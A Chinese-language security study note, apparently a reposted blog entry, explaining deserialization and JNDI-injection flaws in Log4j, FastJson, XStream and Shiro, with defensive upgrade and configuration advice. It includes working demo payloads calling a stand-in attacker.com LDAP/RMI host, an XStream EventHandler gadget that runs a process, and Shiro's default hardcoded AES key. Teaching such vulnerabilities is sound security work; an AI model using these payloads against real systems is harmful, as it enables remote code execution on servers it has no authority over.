文章总结: 该文档系统梳理了JavaEE开发中Log4j、FastJson、XStream和Shiro四个常用第三方组件的安全漏洞原理、利用方式及防御建议。核心发现包括Log4j的JNDI注入可导致RCE、FastJson反序列化通过@type触发攻击链、XStream反序列化调用readObject方法存在风险,以及Shiro因硬编码密钥或配置不当引发反序列化漏洞。文档提供了具体的漏洞演示代码和升级版本、启用安全模式、配置白名单等可操作防御措施。 综合评分: 85 文章分类: 漏洞分析,安全开发,应用安全,代码审计,供应链安全
第48天-JavaEE 开发中的第三方依赖安全风险笔记:Log4j、FastJson、XStream 与 Shiro
原创
萧瑶 萧瑶
AlphaNet
2026年2月23日 08:56 江苏
在 JavaEE 企业级开发中,我们常常依赖第三方库来快速实现日志记录、数据序列化、安全认证等功能。然而,这些广泛使用的库也可能成为攻击者的突破口。本文整理了 Log4j、FastJson、XStream 和 Shiro 四个常见组件的安全漏洞原理、利用方式及防御思路,帮助开发者和安全人员更好地理解和防范这些风险。
一、Log4j 日志组件:JNDI 注入引发的 RCE
- 简介
Log4j 是一个基于 Java 的日志记录工具,广泛应用于业务系统。开发者可通过它记录程序的输入输出信息。但 Log4j 2.x 版本中存在一个严重的 JNDI 注入漏洞(CVE-2021-44228),允许攻击者通过日志消息触发远程代码执行。
- Maven 依赖
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version> <!-- 受影响版本 -->
</dependency>
- 常见用法
// 记录普通日志
logger.info("用户访问:{}", username);
// 记录错误信息
logger.error("发生异常:{}", exception.getMessage());
- 漏洞原理
Log4j 支持通过 ${} 占位符进行变量替换,其中包含 JNDI 查找功能(如 ${jndi:ldap://…})。当日志消息中包含这类字符串时,Log4j 会尝试解析并执行 JNDI 查询,若攻击者可控日志内容,即可指向恶意 LDAP 服务器,加载远程类,最终实现 RCE。
- 漏洞演示(2.14.1 版本)
// 测试操作系统信息(无害)
String code = "${java:os}";
logger.error("{}", code); // 输出:Mac OS X 10.15.7 等
// 恶意 JNDI 注入
String exp = "${jndi:ldap://attacker.com:1389/Exploit}";
logger.error("{}", exp); // 触发远程类加载
结论:当日志内容包含恶意 JNDI 地址时,可导致 RCE。
- 利用方式
· 黑盒测试:在用户输入、HTTP 头(如 User-Agent、X-Forwarded-For)等位置插入 JNDI 注入 payload。
· 白盒审计:搜索项目中 logger 的调用,查看是否有外部可控数据直接传入日志方法。
- 参考资料
Log4j2 漏洞深度剖析
二、FastJson:反序列化调用 Getter/Setter 导致的 RCE
- 简介
FastJson 是阿里巴巴开源的 Java JSON 处理库,能高效地将 Java 对象与 JSON 相互转换。由于其反序列化机制会自动调用某些类的 getter/setter 方法,攻击者可利用特定类的构造链实现远程代码执行。
- Maven 依赖
<!-- 受影响版本示例 -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version> <!-- 存在漏洞 -->
</dependency>
<!-- 1.2.25 引入了 autotype 限制,但仍可能绕过 -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>
- 常用方法
· 序列化:JSON.toJSONString(obj)、JSON.toJSONBytes(obj)
· 反序列化:JSON.parseObject(json, Clazz.class)、JSON.parse(json)、JSON.parseArray(json)
· 转换:JSON.toJavaObject(jsonObject, Clazz.class)、JSON.writeJSONString(os, obj)
- 漏洞原理
FastJson 在反序列化时,会根据 JSON 中的 @type 指定类名,并尝试实例化该类。过程中会调用符合条件的 setter 方法以及特定 getter 方法。攻击者可构造 JSON 数据,利用某些 Java 类的 setter 方法执行恶意操作(如 JNDI 注入、文件写入等),形成反序列化攻击链。
- 演示(1.2.24 版本)
// 正常反序列化
String json = "{\"@type\":\"com.example.User\",\"name\":\"Alice\"}";
JSON.parseObject(json);
// 恶意 payload(利用 JdbcRowSetImpl 触发 JNDI 注入)
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com:1389/Exploit\",\"autoCommit\":true}";
JSON.parse(payload);
结论:反序列化时若 @type 指向危险类,可能触发 JNDI 注入或其它攻击。
- 利用方式
· 黑盒:在 JSON 数据中插入 @type 字段,尝试替换为已知 gadget 类。
· 白盒:查找 JSON.parse、JSON.parseObject 等调用,并追踪参数是否可控。
- 参考资料
FastJson 反序列化漏洞系列
三、XStream:反序列化调用 readObject 导致的 RCE
- 简介
XStream 是一个简单的 Java 库,用于将 Java 对象序列化为 XML,或从 XML 反序列化为对象。由于它支持动态代理和自定义转换器,攻击者可以通过精心构造的 XML 触发目标类的 readObject 方法,进而执行恶意代码。
- Maven 依赖
<!-- 受影响版本示例 -->
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.5</version> <!-- 存在漏洞 -->
</dependency>
<!-- 1.4.15 修复了部分漏洞,但仍有绕过可能 -->
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.15</version>
</dependency>
- 基本用法
// 序列化
Car car = new Car("Ferrari", 4000000);
XStream xStream = new XStream();
String xml = xStream.toXML(car);
System.out.print(xml);
// 反序列化
String xml = "..."; // 来自外部
XStream xStream = new XStream();
Car car = (Car) xStream.fromXML(xml);
- 漏洞原理
XStream 反序列化时,会根据 XML 元素创建对应类的实例,并调用该类的 readObject 方法(如果实现了 Serializable 接口)。攻击者可利用某些 Java 类(如 EventHandler、PriorityQueue 等)在 readObject 中执行危险操作,构造出完整的 RCE 利用链。
- 漏洞演示
(1) 已知类的调用方法(普通反序列化)
<com.example.xstreamdemo.Car serialization="custom">
<com.example.xstreamdemo.Car>
<default>
<price>4000000</price>
<name>Ferrari</name>
</default>
</com.example.xstreamdemo.Car>
</com.example.xstreamdemo.Car>
这段 XML 可正常反序列化 Car 对象。
(2) 利用 EventHandler 的 CVE 链
<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
该 payload 利用动态代理和 EventHandler,最终执行 ProcessBuilder.start() 打开计算器。
(3) 更复杂的利用链(JdbcRowSetImpl JNDI 注入)
<java.util.PriorityQueue serialization='custom'>
... <!-- 省略中间大量嵌套 -->
<jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<dataSource>rmi://attacker.com:1099/Exploit</dataSource>
</default>
</javax.sql.rowset.BaseRowSet>
</jaxbObject>
</java.util.PriorityQueue>
该链通过嵌套调用最终设置 dataSource 为恶意 RMI 地址,触发 JNDI 注入。
结论:XStream 反序列化时可能调用目标类的 readObject,结合 JDK 自带类可构建 RCE 链。
- 利用方式
· 黑盒:寻找接收 XML 数据的接口,替换为已知漏洞 payload。
· 白盒:审计 XStream.fromXML 调用,检查外部输入是否直接传入。
- 参考资料
XStream 反序列化漏洞深入分析
四、Shiro 安全框架:配置不当与反序列化漏洞
- 简介
Apache Shiro 是一个功能强大的 Java 安全框架,提供身份验证、授权、加密和会话管理。由于其 RememberMe 功能使用了 AES 加密(硬编码密钥或弱密钥),攻击者可构造恶意序列化数据触发反序列化 RCE(如 Shiro-550、Shiro-721)。
- 开发与依赖
(可通过 AI 生成示例)
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.7.1</version> <!-- 不同版本存在不同漏洞 -->
</dependency>
- 漏洞原理
· Shiro-550 (CVE-2016-4437):Shiro 默认使用硬编码的 AES 密钥(kPH+bIxk5D2deZiIxcaaaA==)对 RememberMe 的 Cookie 进行加密。攻击者可以用该密钥加密恶意反序列化 payload,服务端解密后触发反序列化。
· Shiro-721:使用 Padding Oracle 攻击,在不知道密钥的情况下利用 RememberMe 的 AES-CBC 模式构造恶意密文。
· 权限绕过:某些版本对 URL 的解析存在差异,可绕过鉴权访问敏感接口。
- 利用方式
· 黑盒:抓包查看 Cookie 中是否有 rememberMe=xxx,尝试替换为已知工具生成的 payload。
· 白盒:查看 shiro.ini 或配置类中 RememberMe 密钥是否被修改,以及 Shiro 版本是否在受影响范围内。
- 参考资料
Shiro 反序列化漏洞详解
五、总结与防御建议
组件 风险点 防御措施
Log4j JNDI 注入 升级到 2.17.0+;设置 log4j2.formatMsgNoLookups=true;移除 JndiLookup 类
FastJson 反序列化调用 setter/getter 升级到最新版;开启 safeMode;使用 @type 白名单
XStream 反序列化调用 readObject 升级到 1.4.20+;配置自定义转换器白名单
Shiro 反序列化 AES 密钥泄露 修改默认密钥;升级到 1.7.1+;使用更强的加密算法
日常开发建议:
· 保持第三方库及时更新。
· 对用户输入进行严格校验,避免直接传入反序列化函数。
· 采用最小权限原则,限制 Java 进程的 JNDI 访问。
· 定期进行安全扫描和代码审计。
希望这份笔记能帮助你更好地理解 JavaEE 开发中常见第三方依赖的安全风险。如有遗漏或错误,欢迎指正!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:AlphaNet 萧瑶 萧瑶《第48天-JavaEE 开发中的第三方依赖安全风险笔记:Log4j、FastJson、XStream 与 Shiro》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论